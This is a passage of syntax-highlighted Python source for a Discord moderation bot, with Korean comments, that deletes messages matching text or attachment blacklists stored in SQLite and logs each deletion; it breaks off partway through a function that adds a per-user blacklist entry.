</span></span><span class="line"><span class="cl">			<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">&#39;명령어에 오류가 발생했습니다&#39;</span><span class="p">);</span><span class="k">return</span>
</span></span><span class="line"><span class="cl">		<span class="k">elif</span><span class="p">(</span><span class="n">commandReturn</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">&#39;적용 완료&#39;</span><span class="p">);</span><span class="k">return</span>
</span></span><span class="line"><span class="cl">		<span class="k">elif</span><span class="p">(</span><span class="n">commandReturn</span> <span class="o">!=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">commandReturn</span> <span class="o">!=</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">commandReturn</span> <span class="o">==</span> <span class="s2">&#34;logData&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="n">txt</span> <span class="o">=</span> <span class="n">discord</span><span class="o">.</span><span class="n">File</span><span class="p">(</span><span class="s2">&#34;delLog.txt&#34;</span><span class="p">,</span> <span class="n">filename</span><span class="o">=</span><span class="n">dirctory</span><span class="o">+</span><span class="s2">&#34;/delLog.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">file</span><span class="o">=</span><span class="n">txt</span><span class="p">);</span><span class="k">return</span>
</span></span><span class="line"><span class="cl">		<span class="k">elif</span><span class="p">(</span><span class="n">commandReturn</span> <span class="o">!=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">commandReturn</span> <span class="o">!=</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">commandReturn</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;.txt&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span><span class="c1"># return 값 bool 아닌 명령어들</span>
</span></span><span class="line"><span class="cl">			<span class="n">txt</span> <span class="o">=</span> <span class="n">discord</span><span class="o">.</span><span class="n">File</span><span class="p">(</span><span class="n">commandReturn</span><span class="p">,</span> <span class="n">filename</span><span class="o">=</span><span class="n">dirctory</span><span class="o">+</span><span class="s2">&#34;/&#34;</span><span class="o">+</span><span class="n">commandReturn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">file</span><span class="o">=</span><span class="n">txt</span><span class="p">);</span><span class="k">return</span>
</span></span><span class="line"><span class="cl">		<span class="k">elif</span><span class="p">(</span><span class="n">commandReturn</span> <span class="o">!=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">commandReturn</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">):</span><span class="c1"># return 값 bool 아닌 명령어들</span>
</span></span><span class="line"><span class="cl">			<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">channel</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">commandReturn</span><span class="p">);</span><span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">attachments</span> <span class="o">==</span> <span class="p">[]):</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">db</span><span class="o">.</span><span class="n">selectTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">				<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;delete =&gt;  &#34;</span><span class="o">+</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="n">db</span><span class="o">.</span><span class="n">logging</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="s2">&#34;text&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">delete</span><span class="p">();</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">elif</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">attachments</span> <span class="o">!=</span> <span class="p">[]):</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">db</span><span class="o">.</span><span class="n">selectAtmBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">attachments</span><span class="p">)</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">				<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;delete =&gt;  &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">attachments</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">				<span class="n">db</span><span class="o">.</span><span class="n">logging</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="s2">&#34;text&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">delete</span><span class="p">();</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">db</span><span class="o">.</span><span class="n">selectTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">				<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;delete =&gt;  &#34;</span><span class="o">+</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="n">db</span><span class="o">.</span><span class="n">logging</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="s2">&#34;text&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="k">await</span> <span class="n">msg</span><span class="o">.</span><span class="n">delete</span><span class="p">();</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">client</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s1">&#39;your token&#39;</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">initDB</span><span class="p">(</span><span class="n">con</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;SELECT name FROM sqlite_master WHERE type=&#39;table&#39;;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span> <span class="o">==</span> <span class="p">[]):</span>
</span></span><span class="line"><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;DB 	=&gt;	empty DB! init start, create tables&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;CREATE TABLE user (pk integer not null primary key autoincrement, userName text not null, userId text not null)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;CREATE TABLE textBL (pk integer not null primary key autoincrement, BL text not null, userId text not null, userName text not null)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;CREATE TABLE atmBL (pk integer not null primary key autoincrement, BL text not null, userId text not null, userName text not null)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;CREATE TABLE delLog (pk integer not null primary key autoincrement, userId text not null, userName text not null, BL text not null, target text not null, type text not null, delTime TIMESTAMP DEFAULT (DATETIME(&#39;now&#39;, &#39;localtime&#39;)))&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">logging</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">BL</span><span class="p">,</span> <span class="nb">type</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="nb">type</span> <span class="o">==</span> <span class="s2">&#34;text&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into delLog (userId, userName, BL, target, type) values (?, ?, ?, ?, ?)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">,</span> <span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">name</span><span class="p">,</span> <span class="n">BL</span><span class="p">,</span> <span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="p">,</span> <span class="s2">&#34;text&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into delLog (userId, userName, BL, target, type) values (?, ?, ?, ?, ?)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">,</span> <span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">name</span><span class="p">,</span> <span class="n">BL</span><span class="p">,</span> <span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="p">,</span> <span class="s2">&#34;atm&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">showLog</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">temp</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$showLog &#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="n">temp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select pk, userName, BL, target, delTime from delLog order by pk desc limit (cast(? as integer))&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">temp</span><span class="p">,))</span>
</span></span><span class="line"><span class="cl">		<span class="n">_return</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">_tuple</span> <span class="ow">in</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">			<span class="n">_return</span><span class="o">+=</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">_tuple</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;delLog.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">_return</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="s2">&#34;logData&#34;</span><span class="c1">#&#34;delLog.txt&#34;</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">checkUser</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select userId from user&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">())</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">))</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into user (userName, userId) values (?, ?)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">name</span><span class="p">),</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">		<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">showTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span> <span class="c1">#text blackList 보기</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select * from textBL&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">dbTuples</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnData</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">dbTuple</span> <span class="ow">in</span> <span class="n">dbTuples</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">returnData</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">dbTuple</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;textBL.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">returnData</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">(</span><span class="s2">&#34;textBL.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">showAtmBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span> <span class="c1">#attachments blackList 보기</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select * from atmBL&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">dbTuples</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnData</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">dbTuple</span> <span class="ow">in</span> <span class="n">dbTuples</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">			<span class="n">returnData</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">dbTuple</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;atmBL.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">returnData</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">(</span><span class="s2">&#34;atmBL.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">selectTextBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">returnList</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select BL from textBL where userId = &#39;all&#39;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="n">dbTuples</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">dbTuples</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="n">item</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select BL from textBL where userId = ?&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">dbTuples</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">dbTuples</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="n">item</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">returnList</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">selectAtmBL</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="n">returnList</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select BL from atmBL where userId = &#39;all&#39;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="n">dbTuples</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">dbTuples</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="n">item</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select BL from atmBL where userId = ?&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">author</span><span class="o">.</span><span class="n">id</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="n">dbTuples</span> <span class="o">=</span> <span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">dbTuples</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnList</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="n">item</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">returnList</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">addBLAllT</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><span class="c1">#text</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">temp</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$addBLAllT &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;insert into textBL (BL, userId, userName) values(?, &#39;all&#39;, &#39;all&#39;)&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="n">con</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">addBLUserT</span><span class="p">(</span><span class="n">con</span><span class="p">,</span> <span class="n">arg</span><span class="p">):</span><span class="c1">#text</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">temp</span> <span class="o">=</span> <span class="n">arg</span><span class="o">.</span><span class="n">content</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">&#34;$addBLUserT &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">argList</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">temp</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="n">userName</span> <span class="o">=</span> <span class="n">argList</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">		<span class="k">del</span> <span class="n">argList</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">		<span class="n">BL</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="n">count</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">argList</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span><span class="p">(</span><span class="n">count</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">argList</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">				<span class="n">BL</span> <span class="o">=</span> <span class="n">BL</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">BL</span> <span class="o">=</span>  <span class="n">BL</span> <span class="o">+</span> <span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="n">cur</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">&#34;select userId, userName from user where userName = ?&#34;</span><span class="p">,</span> <span class="p">(</span><span class="n">userName</span><span class="p">,</span> <span class="p">))</span>
</span></span><span class="line"><span class="cl">		<span class="n">returnText</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">cur</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
